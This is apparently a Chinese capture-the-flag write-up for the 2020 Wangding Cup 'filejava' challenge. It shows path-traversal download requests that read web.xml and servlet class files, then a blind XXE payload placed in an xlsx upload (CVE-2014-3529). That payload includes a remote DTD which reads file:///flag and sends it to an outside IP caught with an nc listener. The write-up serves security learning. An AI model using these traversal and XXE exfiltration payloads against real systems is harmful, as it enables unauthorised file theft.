[网鼎杯 2020 青龙组]filejava
知识点
- web.xml文件泄露
- blind xxe
随便上传一个文件,然后点击下载,抓包
看到有filename,猜测可能存在目录穿越以及任意文件下载
尝试
filename=../
看到有一个路径,里面有WEB-INF,题目提示与java有关,那应该是web.xml文件泄露,尝试读取
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml
这里的读取我是又抓了一次包,把上面repeater的报文复制到proxy,再Forward下载文件
其实不需要这么麻烦,上图右半部分已经给出了三个class文件的地址,下下来就行了
repeater中
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
repeater重放就能发现有东西,重新点一次下载,将repeater的报文复制到proxy里,点击Forward,就可以下载到DownloadServlet.class文件
按照这个方法,依次下载web.xml中出现的DownloadServlet.class,ListFileServlet.class,UploadServlet.class等三个class文件
对这些class文件进行反编译,我用的jd-gui
代码太多,只贴关键的,UploadServlet.class
这里是一个excel和xxe漏洞的结合,CVE-2014-3529
这里需要用到vps,因为是在buu上复现的,所以注册一个小号,开一台靶机就行
新建一个excel-123456.xlsx文件,后缀名改成zip。注意,修改zip文件的时候,最好用WinRAR打开修改,完事直接保存,若是先解压,修改完了再压缩,有可能出问题。接下来就是在里面的[Content_Types].xml的第二行加入
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://靶机内网ip,不是ssh连接的那个/file.dtd"> %remote;%int;%send; ]>
然后在靶机的/var/www/html目录下新建一个file.dtd文件,内容为
<!ENTITY % file SYSTEM "file:///flag"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://174.1.94.166:9999?p=%file;'>">
然后就是监听
nc -lvvp 9999
紧接着上传excel-123456.xlsx文件,在靶机处接收到flag
参考
https://www.gem-love.com/websecurity/2322.html